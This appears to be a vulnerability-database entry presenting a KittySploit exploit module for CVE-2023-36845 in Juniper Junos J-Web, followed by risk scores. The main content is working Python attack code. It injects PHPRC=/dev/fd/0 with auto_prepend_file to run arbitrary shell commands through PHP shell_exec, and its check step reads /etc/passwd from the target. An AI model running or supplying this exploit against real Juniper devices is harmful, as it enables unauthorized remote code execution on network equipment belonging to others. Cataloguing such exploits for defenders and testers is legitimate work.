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Juniper J-Web PHPRC RCE (CVE-2023-36845)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
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Remote code execution in Juniper Junos J-Web via PHP environment variable modification.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Juniper J-Web PHPRC RCE (CVE-2023-36845)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Juniper J-Web PHPRC RCE (CVE-2023-36845)',
        'description': (
            'Exploits CVE-2023-36845 in Juniper Junos J-Web: PHP environment variable '
            'modification via /?PHPRC=/dev/fd/0 enables auto_prepend_file code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2023-36845'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2023-36845'],
        'tags': ['juniper', 'junos', 'j-web', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2023_36845_detect']},
        },
    }

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        php = f'<?php echo shell_exec("{safe}"); ?>'
        r = self.http_request(
            method='POST',
            path='/?PHPRC=/dev/fd/0',
            data=f'auto_prepend_file="php://input"\n{php}',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        r = self.http_request(
            method='POST',
            path='/?PHPRC=/dev/fd/0',
            data='auto_prepend_file="/etc/passwd"',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2023-36845 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Juniper PHPRC injection failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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05 Oct 2026 14:20Current
8.2High risk
Vulners AI Score8.2
CVSS 3.19.8
EPSS0.9507
SSVC
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